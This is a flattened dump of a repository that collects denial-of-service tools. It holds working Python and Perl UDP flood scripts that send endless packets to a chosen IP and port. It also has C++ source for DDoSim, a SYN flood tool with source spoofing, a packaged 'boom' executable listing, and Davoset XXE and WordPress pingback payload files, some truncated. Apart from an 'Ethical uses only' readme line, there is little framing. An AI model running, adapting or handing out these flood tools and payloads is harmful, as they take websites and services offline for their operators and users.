/Linux/Boom/dist/boom/api-ms-win-crt-time-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-time-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-utility-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-utility-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/base_library.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/base_library.zip -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/boom.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/boom.exe -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/boom.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/libcrypto-1_1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/libcrypto-1_1.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/libssl-1_1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/libssl-1_1.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/pyexpat.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/pyexpat.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/python37.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/python37.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/select.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/select.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/ucrtbase.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/ucrtbase.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/unicodedata.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/unicodedata.pyd -------------------------------------------------------------------------------- /Linux/ChiHULK/ReadMe.txt: -------------------------------------------------------------------------------- 1 | *Ethical uses only* 2 | 3 | You need to have Python installed for this tool to work/run. 4 | 5 | Info: 6 | ******************************************************* 7 | ChiHULK sourceforge: 8 | https://sourceforge.net/projects/chihulk-dos-tool/ 9 | ******************************************************* 10 | Twitter: 11 | https://twitter.com/chinassie 12 | @chinassie 13 | ******************************************************* 14 | Facebook: 15 | https://www.facebook.com/profile.php?id=100012934719053 16 | ******************************************************* -------------------------------------------------------------------------------- /Linux/ChiHULK/Screenshots/screenshot 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/ChiHULK/Screenshots/screenshot 1.png -------------------------------------------------------------------------------- /Linux/ChiHULK/Screenshots/screenshot 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/ChiHULK/Screenshots/screenshot 2.png -------------------------------------------------------------------------------- /Linux/DDoS-Synflood/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015-2017, Forec 2 | 3 | Permission to use, copy, modify, and/or distribute this code for any 4 | purpose with or without fee is hereby granted, provided that the above 5 | copyright notice and this permission notice appear in all copies. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 8 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 9 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 10 | ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 11 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 12 | ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 13 | OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -------------------------------------------------------------------------------- /Linux/DDoS-Synflood/wingetopt.h: -------------------------------------------------------------------------------- 1 | /* 2 | POSIX getopt for Windows 3 | 4 | AT&T Public License 5 | 6 | Code given out at the 1985 UNIFORUM conference in Dallas. 7 | */ 8 | 9 | #include 10 | #ifdef __GNUC__ 11 | #include 12 | #endif 13 | #ifndef __GNUC__ 14 | 15 | #ifndef _WINGETOPT_H_ 16 | #define _WINGETOPT_H_ 17 | 18 | #ifdef __cplusplus 19 | extern "C" { 20 | #endif 21 | 22 | extern int opterr; 23 | extern int optind; 24 | extern int optopt; 25 | extern char *optarg; 26 | extern int getopt(int argc, char **argv, char *opts); 27 | 28 | #ifdef __cplusplus 29 | } 30 | #endif 31 | 32 | #endif /* _GETOPT_H_ */ 33 | #endif /* __GNUC__ */ 34 | 35 | /* 36 | POSIX getopt for Windows 37 | 38 | AT&T Public License 39 | 40 | Code given out at the 1985 UNIFORUM conference in Dallas. 41 | */ 42 | 43 | #ifndef __GNUC__ 44 | 45 | #include 46 | 47 | #define NULL 0 48 | #define EOF (-1) 49 | #define ERR(s, c) if(opterr){\ 50 | char errbuf[2]; \ 51 | errbuf[0] = c; errbuf[1] = '\n'; \ 52 | fputs(argv[0], stderr); \ 53 | fputs(s, stderr); \ 54 | fputc(c, stderr); } 55 | //(void) write(2, argv[0], (unsigned)strlen(argv[0]));\ 56 | //(void) write(2, s, (unsigned)strlen(s));\ 57 | //(void) write(2, errbuf, 2);} 58 | 59 | int opterr = 1; 60 | int optind = 1; 61 | int optopt; 62 | char *optarg; 63 | 64 | int getopt(int argc,char ** argv, char *opts) 65 | { 66 | static int sp = 1; 67 | register int c; 68 | register char *cp; 69 | 70 | if (sp == 1) 71 | if (optind >= argc || 72 | argv[optind][0] != '-' || argv[optind][1] == '\0') 73 | return(EOF); 74 | else if (strcmp(argv[optind], "--") == NULL) { 75 | optind++; 76 | return(EOF); 77 | } 78 | optopt = c = argv[optind][sp]; 79 | if (c == ':' || (cp = strchr(opts, c)) == NULL) { 80 | ERR(": illegal option -- ", c); 81 | if (argv[optind][++sp] == '\0') { 82 | optind++; 83 | sp = 1; 84 | } 85 | return('?'); 86 | } 87 | if (*++cp == ':') { 88 | if (argv[optind][sp + 1] != '\0') 89 | optarg = &argv[optind++][sp + 1]; 90 | else if (++optind >= argc) { 91 | ERR(": option requires an argument -- ", c); 92 | sp = 1; 93 | return('?'); 94 | } 95 | else 96 | optarg = argv[optind++]; 97 | sp = 1; 98 | } 99 | else { 100 | if (argv[optind][++sp] == '\0') { 101 | sp = 1; 102 | optind++; 103 | } 104 | optarg = NULL; 105 | } 106 | return(c); 107 | } 108 | 109 | #endif /* __GNUC__ */ 110 | -------------------------------------------------------------------------------- /Linux/DDoSim/Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign 2 | 3 | INCLUDES=`libnet-config --defines` -Wall -Wno-deprecated -O2 4 | LDFLAGS=-lnet -lpcap -lpthread 5 | 6 | bin_PROGRAMS = ddosim 7 | ddosim_SOURCES = ddosim.cpp sniffer.cpp senderThread.cpp captureThread.cpp tcpUtils.cpp \ 8 | ddosim.h sniffer.h senderThread.h captureThread.h tcpUtils.h 9 | 10 | -------------------------------------------------------------------------------- /Linux/DDoSim/README.txt: -------------------------------------------------------------------------------- 1 | Installation 2 | ------------ 3 | ./configure 4 | make 5 | make install 6 | 7 | 8 | Usage 9 | ----- 10 | ./ddosim 11 | -d IP Target IP address 12 | -p PORT Target port 13 | [-k NET] Source IP from class C network (ex. 10.4.4.0) 14 | [-i IFNAME] Output interface name 15 | [-c COUNT] Number of connections to establish 16 | [-w DELAY] Delay (in milliseconds) between SYN packets 17 | [-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO 18 | [-t NRTHREADS] Number of threads to use when sending packets (default 1) 19 | [-n] Do not spoof source address (use local address) 20 | [-v] Verbose mode (slower) 21 | [-h] Print this help message 22 | -------------------------------------------------------------------------------- /Linux/DDoSim/captureThread.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "captureThread.h" 5 | #include "sniffer.h" 6 | #include "tcpUtils.h" 7 | #include "ddosim.h" 8 | 9 | using namespace std; 10 | 11 | extern list pktsToSend; //first send these packets 12 | extern map connsInited; //info about initiated connections 13 | extern map connsEstab; //info about established connections 14 | extern pthread_mutex_t connMutex; //mutual exclusion when accessing the connsInited map 15 | extern pthread_mutex_t ackMutex; //mutual exclusion when accessing pktsToSend (ACKs) 16 | extern pthread_mutex_t countMutex; //mutual exclusion when accessing pktsToSend (ACKs) 17 | 18 | extern bool v; //verbose 19 | 20 | void processPacket(u_char *args, const struct pcap_pkthdr* pkthdr, const u_char* packet); 21 | 22 | void* capEngineThread(void *arg) 23 | { 24 | if(v)cout << "Capture Engine started " << endl; 25 | Sniffer *snf = (Sniffer *)arg; 26 | snf->readPackets(processPacket, (u_char *)arg); 27 | if(v)cout << "Capture Engine stopped " << endl; 28 | return 0; 29 | } 30 | 31 | void processPacket(u_char *args, const struct pcap_pkthdr* pkthdr, const u_char* packet) 32 | { 33 | Sniffer *snf = (Sniffer *)args; 34 | map::iterator it; 35 | 36 | u_long dstIp = snf->getDstIpRaw(packet); 37 | int dstPort = snf->getTcpDstPort(packet); 38 | 39 | if(snf->isRst(packet)) { 40 | if(v)cout << "Got RST-ACK packet from " << snf->getSrcIp(packet) << " to " << snf->getDstIp(packet) << endl; 41 | } else if(snf->isFin(packet)){ 42 | if(v)cout << "Got FIN-ACK packet from " << snf->getSrcIp(packet) << " to " << snf->getDstIp(packet) << endl; 43 | pthread_mutex_lock(&connMutex); 44 | it = connsEstab.find(connId(dstIp, dstPort)); 45 | if(it != connsEstab.end()) { // we received FIN for an established TCP connection 46 | connsEstab.erase(it); // delete the established connections 47 | pthread_mutex_unlock(&connMutex); 48 | pthread_mutex_lock(&countMutex); 49 | (*snf->finNo)++; // increase number of finished connections 50 | pthread_mutex_unlock(&countMutex); 51 | } else { 52 | pthread_mutex_unlock(&connMutex); 53 | } 54 | } else { 55 | if(v)cout << "Got SYN-ACK packet from " << snf->getSrcIp(packet) << " to " << snf->getDstIp(packet) << endl; 56 | } 57 | 58 | pthread_mutex_lock(&connMutex); 59 | it = connsInited.find(connId(dstIp, dstPort)); 60 | if(it != connsInited.end()) { 61 | if(v)cout << "Found session " << endl; 62 | connsInited.erase(it); 63 | pthread_mutex_unlock(&connMutex); 64 | 65 | if(snf->isRst(packet)) { 66 | pthread_mutex_lock(&countMutex); 67 | (*snf->rstNo)++; 68 | pthread_mutex_unlock(&countMutex); 69 | return; 70 | } else if(snf->isFin(packet)) { 71 | pthread_mutex_lock(&countMutex); 72 | (*snf->finNo)++; 73 | pthread_mutex_unlock(&countMutex); 74 | return; 75 | } 76 | 77 | Pkt pkt; //This is the ACK packet that we send 78 | pkt.srcIp = snf->getDstIpRaw(packet); 79 | pkt.dstIp = snf->getSrcIpRaw(packet); 80 | pkt.srcPort = snf->getTcpDstPort(packet); 81 | pkt.dstPort = snf->getTcpSrcPort(packet); 82 | pkt.seqn = snf->getTcpACK(packet); 83 | pkt.ackn = snf->getTcpSEQ(packet) + 1; 84 | 85 | pthread_mutex_lock(&ackMutex); 86 | pktsToSend.push_back(pkt); //ACKs will be sent from this queue (to complete 3-way handshake) 87 | pthread_mutex_unlock(&ackMutex); 88 | } else { 89 | pthread_mutex_unlock(&connMutex); 90 | } 91 | } 92 | 93 | -------------------------------------------------------------------------------- /Linux/DDoSim/captureThread.h: -------------------------------------------------------------------------------- 1 | #ifndef __CAPTURETHREAD_H__ 2 | #define __CAPTURETHREAD_H__ 3 | 4 | extern "C" { 5 | #include 6 | #include 7 | } 8 | 9 | void *capEngineThread(void *arg); 10 | 11 | 12 | #endif 13 | 14 | -------------------------------------------------------------------------------- /Linux/DDoSim/configure.ac: -------------------------------------------------------------------------------- 1 | # -*- Autoconf -*- 2 | # Process this file with autoconf to produce a configure script. 3 | 4 | AC_PREREQ(2.61) 5 | AC_INIT([ddosim], [0.2], [adif2k8@gmail.com]) 6 | AC_CONFIG_SRCDIR([tcpUtils.cpp]) 7 | #AC_CONFIG_HEADER([config.h]) 8 | 9 | AM_INIT_AUTOMAKE([ddosim], [0.2]) 10 | 11 | AC_CONFIG_FILES([Makefile]) 12 | 13 | 14 | # Checks for programs. 15 | AC_PROG_CXX 16 | AC_PROG_CC 17 | 18 | # Checks for libraries. 19 | AC_CHECK_LIB([pcap], [pcap_open_live], [], AC_MSG_ERROR([libpcap (dev) is required for this program])) 20 | AC_CHECK_LIB([pthread], [pthread_mutex_lock], [], AC_MSG_ERROR([libpthread (dev)is required for this program])) 21 | AC_CHECK_LIB([net], [libnet_init_packet], [], AC_MSG_ERROR([libnet0 (dev) is required for this program])) 22 | 23 | # Checks for header files. 24 | AC_HEADER_STDC 25 | AC_CHECK_HEADERS([arpa/inet.h string.h]) 26 | 27 | # Checks for typedefs, structures, and compiler characteristics. 28 | AC_HEADER_STDBOOL 29 | AC_C_CONST 30 | 31 | # Checks for library functions. 32 | AC_CHECK_FUNCS([gethostbyname inet_ntoa memset strerror]) 33 | 34 | AC_OUTPUT 35 | 36 | 37 | -------------------------------------------------------------------------------- /Linux/DDoSim/ddosim.h: -------------------------------------------------------------------------------- 1 | #ifndef __DCPPSIM_H__ 2 | #define __DCPPSIM_H__ 3 | 4 | #include 5 | #include 6 | 7 | 8 | extern "C" { 9 | #include 10 | #include 11 | #include 12 | #include 13 | } 14 | 15 | #ifndef LIBNET_ERR_BUF 16 | #define LIBNET_ERR_BUF 255 17 | #endif 18 | 19 | #define HTTP_VALID 1001 20 | #define HTTP_INVALID 1002 21 | #define SMTP_EHLO 1003 22 | 23 | #define STATE_SYN_SENT 200 24 | #define STATE_ESTABLISHED 201 25 | 26 | using namespace std; 27 | 28 | class Pkt { 29 | 30 | public: 31 | u_long srcIp; 32 | u_long dstIp; 33 | int srcPort; 34 | int dstPort; 35 | int seqn; 36 | int ackn; 37 | }; 38 | 39 | class ConnInfo { 40 | public: 41 | u_long srcIp; //may be eliminated? 42 | int srcPort; //may be eliminated? 43 | int state; 44 | }; 45 | 46 | u_long getLocalIp(string const &ifName, string &error); 47 | void mydelay(int wait); 48 | string connId(u_long ip, int port); 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /Linux/DDoSim/senderThread.h: -------------------------------------------------------------------------------- 1 | #ifndef __SENDER_THREAD_H__ 2 | #define __SENDER_THREAD_H__ 3 | 4 | #include "ddosim.h" 5 | #include 6 | 7 | using namespace std; 8 | 9 | class SenderThreadArg { 10 | public: 11 | string ifName; 12 | bool doSpoof; 13 | int count; 14 | int *synNo; //connections initiated 15 | int *connNo; //connections completed 16 | int wait; 17 | int verbose; 18 | u_long victimIp; 19 | int victimPort; 20 | string srcNetStr; 21 | int threadId; 22 | int requestType; 23 | bool *run; 24 | }; 25 | 26 | void *senderThread(void *arg); 27 | int getNumConnsEstab(); 28 | 29 | #endif 30 | 31 | -------------------------------------------------------------------------------- /Linux/DDoSim/sniffer.h: -------------------------------------------------------------------------------- 1 | #ifndef __SNIFFER_H__ 2 | #define __SNIFFER_H__ 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | using namespace std; 11 | 12 | struct ip_header { 13 | u_int8_t ip_vhl; /* header length, version */ 14 | #define IP_V(ip) (((ip)->ip_vhl & 0xf0) >> 4) 15 | #define IP_HL(ip) ((ip)->ip_vhl & 0x0f) 16 | u_int8_t ip_tos; /* type of service */ 17 | u_int16_t ip_len; /* total length */ 18 | u_int16_t ip_id; /* identification */ 19 | u_int16_t ip_off; /* fragment offset field */ 20 | #define IP_DF 0x4000 /* dont fragment flag */ 21 | #define IP_MF 0x2000 /* more fragments flag */ 22 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 23 | u_int8_t ip_ttl; /* time to live */ 24 | u_int8_t ip_p; /* protocol */ 25 | u_int16_t ip_sum; /* checksum */ 26 | struct in_addr ip_src, ip_dst; /* source and dest address */ 27 | }; 28 | 29 | /* TCP header */ 30 | struct tcp_header { 31 | u_short th_sport; /* source port */ 32 | u_short th_dport; /* destination port */ 33 | u_int32_t th_seq; /* sequence number */ 34 | u_int32_t th_ack; /* acknowledgement number */ 35 | 36 | u_char th_offx2; /* data offset, rsvd */ 37 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 38 | u_char th_flags; 39 | #define TH_FIN 0x01 40 | #define TH_SYN 0x02 41 | #define TH_RST 0x04 42 | #define TH_PUSH 0x08 43 | #define TH_ACK 0x10 44 | #define TH_URG 0x20 45 | #define TH_ECE 0x40 46 | #define TH_CWR 0x80 47 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) 48 | u_short th_win; /* window */ 49 | u_short th_sum; /* checksum */ 50 | u_short th_urp; /* urgent pointer */ 51 | }; 52 | 53 | 54 | class Sniffer 55 | { 56 | private: 57 | pcap_t *handle; /* Session handle */ 58 | char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */ 59 | 60 | public: 61 | string dev; /* Device to sniff on */ 62 | string filter_exp; /* The filter expression */ 63 | bpf_u_int32 mask; /* Our netmask */ 64 | bpf_u_int32 net; /* Our network address */ 65 | bool initialized; 66 | bool run; 67 | int* rstNo; //number of RST-ACK packets received from server 68 | int* finNo; //number of FIN-ACK packets received from server 69 | Sniffer(); 70 | ~Sniffer(); 71 | bool init(string &ifName, int* rstNo, int* finNo, string &error); 72 | void readPackets(pcap_handler processPacket, u_char* args); 73 | static bool checkIpHeader(const struct pcap_pkthdr* pkthdr, const u_char* packet, string &error); 74 | static bool checkTcpHeader(const struct pcap_pkthdr* pkthdr, const u_char* packet, string &error); 75 | 76 | static string getSrcIp(const u_char* packet); 77 | static string getDstIp(const u_char* packet); 78 | static int getSrcIpRaw(const u_char* packet); 79 | static int getDstIpRaw(const u_char* packet); 80 | static int getTcpDstPort(const u_char* packet); 81 | static int getTcpSrcPort(const u_char* packet); 82 | static int getTcpSEQ(const u_char* packet); 83 | static int getTcpACK(const u_char* packet); 84 | static bool isRst(const u_char* packet); 85 | static bool isFin(const u_char* packet); 86 | static string getTcpData(const struct pcap_pkthdr* pkthdr, const u_char* packet); 87 | }; 88 | 89 | 90 | #endif 91 | 92 | -------------------------------------------------------------------------------- /Linux/DDoSim/tcpUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "tcpUtils.h" 2 | #include 3 | 4 | using namespace std; 5 | 6 | void TcpUtils::buildSYN(u_char *packet, u_long sourceIp, u_long victimIp, int sourcePort, int victimPort, int seqn, int ackn) { 7 | 8 | libnet_build_ip(LIBNET_TCP_H, /* size of the packet sans IP header */ 9 | IPTOS_LOWDELAY, /* IP tos */ 10 | 242, /* IP ID */ 11 | 0, /* frag stuff */ 12 | 48, /* TTL */ 13 | IPPROTO_TCP, /* transport protocol */ 14 | sourceIp, /* source IP */ 15 | victimIp, /* destination IP */ 16 | NULL, /* payload (none) */ 17 | 0, /* payload length */ 18 | packet); /* packet header memory */ 19 | 20 | libnet_build_tcp(sourcePort, /* source TCP port */ 21 | victimPort, /* destination TCP port */ 22 | seqn, /* sequence number */ 23 | ackn, /* acknowledgement number */ 24 | TH_SYN, /* control flags */ 25 | 1024, /* window size */ 26 | 0, /* urgent pointer */ 27 | NULL, /* payload (none) */ 28 | 0, /* payload length */ 29 | packet + LIBNET_IP_H); /* packet header memory */ 30 | 31 | if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) { 32 | libnet_error(LIBNET_ERR_FATAL, (char*)"libnet_do_checksum failed\n"); 33 | } 34 | 35 | } 36 | 37 | void TcpUtils::buildACK(u_char *packet, u_long sourceIp, u_long victimIp, int sourcePort, int victimPort, int seqn, int ackn) { 38 | 39 | libnet_build_ip(LIBNET_TCP_H, /* size of the packet sans IP header */ 40 | IPTOS_LOWDELAY, /* IP tos */ 41 | 242, /* IP ID */ 42 | 0, /* frag stuff */ 43 | 48, /* TTL */ 44 | IPPROTO_TCP, /* transport protocol */ 45 | sourceIp, /* source IP */ 46 | victimIp, /* destination IP */ 47 | NULL, /* payload (none) */ 48 | 0, /* payload length */ 49 | packet); /* packet header memory */ 50 | 51 | libnet_build_tcp(sourcePort, /* source TCP port */ 52 | victimPort, /* destination TCP port */ 53 | seqn, /* sequence number */ 54 | ackn, /* acknowledgement number */ 55 | TH_ACK, /* control flags */ 56 | 5840, /* window size */ 57 | 0, /* urgent pointer */ 58 | NULL, /* payload (none) */ 59 | 0, /* payload length */ 60 | packet + LIBNET_IP_H); /* packet header memory */ 61 | 62 | if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) { 63 | libnet_error(LIBNET_ERR_FATAL, (char*)"libnet_do_checksum failed\n"); 64 | } 65 | 66 | } 67 | 68 | void TcpUtils::buildTcpData(u_char *packet, u_long sourceIp, u_long victimIp, int sourcePort, int victimPort, int seqn, int ackn, const u_char *payload) { 69 | libnet_build_ip(LIBNET_TCP_H + strlen((const char*)payload), /* size of the packet sans IP header */ 70 | IPTOS_LOWDELAY, /* IP tos */ 71 | 242, /* IP ID */ 72 | 0, /* frag stuff */ 73 | 48, /* TTL */ 74 | IPPROTO_TCP, /* transport protocol */ 75 | sourceIp, /* source IP */ 76 | victimIp, /* destination IP */ 77 | NULL, /* payload (none) */ 78 | 0, /* payload length */ 79 | packet); /* packet header memory */ 80 | 81 | libnet_build_tcp(sourcePort, /* source TCP port */ 82 | victimPort, /* destination TCP port */ 83 | seqn, /* sequence number */ 84 | ackn, /* acknowledgement number */ 85 | TH_ACK|TH_PUSH, /* control flags */ 86 | 5840, /* window size */ 87 | 0, /* urgent pointer */ 88 | payload, /* payload (none) */ 89 | strlen((const char*)payload), /* payload length */ 90 | packet + LIBNET_IP_H); /* packet header memory */ 91 | 92 | if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H + strlen((const char*)payload)) == -1) { 93 | libnet_error(LIBNET_ERR_FATAL, (char*)"libnet_do_checksum failed\n"); 94 | } 95 | } 96 | 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /Linux/DDoSim/tcpUtils.h: -------------------------------------------------------------------------------- 1 | #ifndef __TCPUTILS_H__ 2 | #define __TCPUTILS_H__ 3 | 4 | extern "C" { 5 | #include 6 | } 7 | 8 | class TcpUtils { 9 | 10 | public: 11 | static void buildSYN(u_char *packet, u_long sourceIp, u_long victimIp, int sourcePort, int victimPort, int seqn, int ackn); 12 | static void buildACK(u_char *packet, u_long sourceIp, u_long victimIp, int sourcePort, int victimPort, int seqn, int ackn); 13 | static void buildTcpData(u_char *packet, 14 | u_long sourceIp, u_long victimIp, 15 | int sourcePort, int victimPort, 16 | int seqn, int ackn, 17 | const u_char *payload); 18 | }; 19 | 20 | #endif 21 | 22 | -------------------------------------------------------------------------------- /Linux/DDos-Attack/README.md: -------------------------------------------------------------------------------- 1 | # DDos-Attack 2 | ### What Is A DDos-Attack 3 | 4 | ### A Distributed Denial of Service (DDoS) attack is an attempt to make an online service unavailable 5 | by overwhelming it with traffic from multiple sources. They target a wide variety of important resources 6 | from banks to news websites, and present a major challenge to making sure people can publish and access important information 7 | 8 | ### Dwonload&Install 9 | 10 | ### git clone https://github.com/Ha3MrX/DDos-Attack 11 | 12 | ### cd DDos-Attack 13 | 14 | ### chmod +x ddos-attack.py 15 | 16 | ### python ddos-attack.py 17 | 18 | ### ScreenShot 19 | 20 | ![capture](https://user-images.githubusercontent.com/33704360/38769260-91bfc362-3fb4-11e8-86c6-d5a3ca13c31a.PNG) 21 | 22 | ### YouTube channel 23 | 24 | https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA 25 | 26 | ### Video Tutorial 27 | 28 | https://www.youtube.com/watch?v=-e3Iia_P7rA 29 | -------------------------------------------------------------------------------- /Linux/DDos-Attack/ddos-attack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | import socket 5 | import random 6 | #Code Time 7 | from datetime import datetime 8 | now = datetime.now() 9 | hour = now.hour 10 | minute = now.minute 11 | day = now.day 12 | month = now.month 13 | year = now.year 14 | 15 | ############## 16 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 17 | bytes = random._urandom(1490) 18 | ############# 19 | 20 | os.system("clear") 21 | os.system("figlet DDos Attack") 22 | print 23 | print "Author : HA-MRX" 24 | print "You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA" 25 | print "github : https://github.com/Ha3MrX" 26 | print "Facebook : https://www.facebook.com/muhamad.jabar222" 27 | print 28 | ip = raw_input("IP Target : ") 29 | port = input("Port : ") 30 | 31 | os.system("clear") 32 | os.system("figlet Attack Starting") 33 | print "[ ] 0% " 34 | time.sleep(5) 35 | print "[===== ] 25%" 36 | time.sleep(5) 37 | print "[========== ] 50%" 38 | time.sleep(5) 39 | print "[=============== ] 75%" 40 | time.sleep(5) 41 | print "[====================] 100%" 42 | time.sleep(3) 43 | sent = 0 44 | while True: 45 | sock.sendto(bytes, (ip,port)) 46 | sent = sent + 1 47 | port = port + 1 48 | print "Sent %s packet to %s throught port:%s"%(sent,ip,port) 49 | if port == 65534: 50 | port = 1 51 | -------------------------------------------------------------------------------- /Linux/DDos.pl/DDos.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | #Args 4 | # 1 - IP 5 | # 2 - Port 6 | # 3 - Size of the packet to send 7 | # 4 - Time in secondes 8 | 9 | use Socket; 10 | use strict; 11 | 12 | if ($#ARGV != 3) { 13 | print "-Tip on use : perl DDoS.pl 8.8.8.8 80 2048 500\n"; 14 | exit(1); 15 | } 16 | 17 | my ($ip,$port,$size,$time) = @ARGV; 18 | my ($iaddr,$endtime,$psize,$pport); 19 | $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n"; 20 | $endtime = time() + ($time ? $time : 1000000); 21 | socket(flood, PF_INET, SOCK_DGRAM, 17); 22 | print "~To cancel the attack press \'Ctrl-C\'\n\n"; 23 | print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n"; 24 | print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n"; 25 | print "To cancel the attack press 'Ctrl-C'\n" unless $time; 26 | for (;time() <= $endtime;) { 27 | $psize = $size ? $size : int(rand(1500-64)+64) ; 28 | $pport = $port ? $port : int(rand(65500))+1; 29 | 30 | send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));} 31 | -------------------------------------------------------------------------------- /Linux/Davoset/CyberPower.txt: -------------------------------------------------------------------------------- 1 | 2 | 4 | %xxe;]> 5 | 6 | 7 | action.notification.recipient.present 8 | 9 | 10 | -------------------------------------------------------------------------------- /Linux/Davoset/EMC.txt: -------------------------------------------------------------------------------- 1 | 2 | 4 | ]> 5 | 6 | root 7 | &xxe; 8 | 9 | -------------------------------------------------------------------------------- /Linux/Davoset/Oracle.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | %xxe;]>]]> 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Linux/Davoset/Qlikview.txt: -------------------------------------------------------------------------------- 1 | 2 | 4 | %xxe;]> 5 | -------------------------------------------------------------------------------- /Linux/Davoset/SAP NetWeaver.txt: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | http://site 9 | 10 | 11 | -------------------------------------------------------------------------------- /Linux/Davoset/WordPress.txt: -------------------------------------------------------------------------------- 1 | pingback.pinghttp://sitehttp://source 2 | -------------------------------------------------------------------------------- /Linux/Davoset/XML.txt: -------------------------------------------------------------------------------- 1 | 2 | 4 | ]> 5 | 6 | &xxe; 7 | 8 | -------------------------------------------------------------------------------- /Linux/Davoset/about42.nl.txt: -------------------------------------------------------------------------------- 1 | url= 2 | -------------------------------------------------------------------------------- /Linux/Davoset/browsershots.org.txt: -------------------------------------------------------------------------------- 1 | 